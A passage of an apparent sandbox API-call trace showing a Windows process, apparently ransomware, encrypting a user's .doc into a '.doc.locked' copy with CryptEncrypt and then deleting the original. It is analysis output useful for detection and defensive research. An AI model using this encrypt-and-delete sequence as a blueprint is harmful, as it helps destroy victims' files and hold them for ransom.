(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\1zzy.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0130.411] GetFileType (hFile=0x874) returned 0x1 [0130.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0130.411] GetFileType (hFile=0x874) returned 0x1 [0130.411] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.412] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0130.412] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.412] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.412] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.413] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc.locked", lpFilePart=0x0) returned 0x5c [0130.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0130.413] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\1zzy.doc.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0130.415] GetFileType (hFile=0x868) returned 0x1 [0130.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0130.415] GetFileType (hFile=0x868) returned 0x1 [0130.415] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.415] CryptGenRandom (in: hProv=0x43964e8, dwLen=0x10, pbBuffer=0x6ac2e18 | out: pbBuffer=0x6ac2e18) returned 1 [0130.416] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.416] CryptDuplicateKey (in: hKey=0x8e84c78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e84cf8) returned 1 [0130.416] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.417] CryptSetKeyParam (hKey=0x8e84cf8, dwParam=0x4, pbData=0x6ac40d4*=0x1, dwFlags=0x0) returned 1 [0130.417] CryptSetKeyParam (hKey=0x8e84cf8, dwParam=0x1, pbData=0x6ac40a0, dwFlags=0x0) returned 1 [0130.417] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xe2f0\x99a\x18b2\x7477\x2210\x438\x242") returned 0x0 [0130.417] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.418] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.418] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.418] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.418] ReadFile (in: hFile=0x874, lpBuffer=0x6ac7630, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6ac7630*, lpNumberOfBytesRead=0x99ae6cc*=0x5302, lpOverlapped=0x0) returned 1 [0130.419] CryptEncrypt (in: hKey=0x8e84cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6adb63c*, pdwDataLen=0x99ae6c0*=0x5300, dwBufLen=0x5300 | out: pbData=0x6adb63c*, pdwDataLen=0x99ae6c0*=0x5300) returned 1 [0130.419] WriteFile (in: hFile=0x868, lpBuffer=0x6ac2ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6ac2ed8*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0130.420] WriteFile (in: hFile=0x868, lpBuffer=0x6adc628*, nNumberOfBytesToWrite=0x4314, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x6adc628*, lpNumberOfBytesWritten=0x99ae6a4*=0x4314, lpOverlapped=0x0) returned 1 [0130.421] ReadFile (in: hFile=0x874, lpBuffer=0x6ac7630, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x6ac7630*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0130.421] CryptEncrypt (in: hKey=0x8e84cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6ae0960*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x6ae0960*, pdwDataLen=0x99ae714*=0x10) returned 1 [0130.421] CryptEncrypt (in: hKey=0x8e84cf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ae0994*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x6ae0994*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0130.421] WriteFile (in: hFile=0x868, lpBuffer=0x6ac2ed8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x6ac2ed8*, lpNumberOfBytesWritten=0x99ae6ec*=0x10, lpOverlapped=0x0) returned 1 [0130.421] CloseHandle (hObject=0x868) returned 1 [0130.423] CloseHandle (hObject=0x874) returned 1 [0130.423] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0130.423] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.424] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.424] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.424] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.425] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\1zzy.doc")) returned 0x20 [0130.426] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0130.426] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0130.426] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0130.426] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0130.426] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0130.426] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0130.427] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0130.427] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0130.427] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0130.427] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0130.427] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0130.427] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0130.427] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0130.428] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0130.428] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0130.428] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0130.428] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0130.428] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h")) returned 0x10 [0130.428] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h")) returned 0x10 [0130.428] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", lpFilePart=0x0) returned 0x31 [0130.428] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", lpFilePart=0x0) returned 0x31 [0130.428] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb")) returned 0x10 [0130.428] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb")) returned 0x10 [0130.428] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", lpFilePart=0x0) returned 0x38 [0130.429] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", lpFilePart=0x0) returned 0x38 [0130.429] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt")) returned 0x10 [0130.429] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt")) returned 0x10 [0130.429] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt", lpFilePart=0x0) returned 0x4c [0130.429] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt", lpFilePart=0x0) returned 0x4c [0130.429] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\1zzy.doc")) returned 0x20 [0130.429] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0130.429] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0130.430] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0130.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0130.430] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0130.430] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc\\", lpFilePart=0x0) returned 0x56 [0130.430] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0130.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0130.430] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0130.431] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0130.431] CoTaskMemFree (pv=0x8ebb8c8) [0130.432] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\1zzy.doc")) returned 0x20 [0130.432] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0130.432] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0130.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0130.432] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\1zzy.doc"), fInfoLevelId=0x0, lpFileInformation=0x6afc3c8 | out: lpFileInformation=0x6afc3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe840e5c0, ftCreationTime.dwHighDateTime=0x1d4a352, ftLastAccessTime.dwLowDateTime=0xa3eac740, ftLastAccessTime.dwHighDateTime=0x1d4a5c5, ftLastWriteTime.dwLowDateTime=0xa3eac740, ftLastWriteTime.dwHighDateTime=0x1d4a5c5, nFileSizeHigh=0x0, nFileSizeLow=0x5302)) returned 1 [0130.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0130.432] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\1zzy.doc")) returned 1 [0130.435] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.436] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="猀ࣝ") returned 0x0 [0130.436] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.436] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.436] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.440] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\1zzy.doc.locked")) returned 0x20 [0130.440] GetFileAttributesW 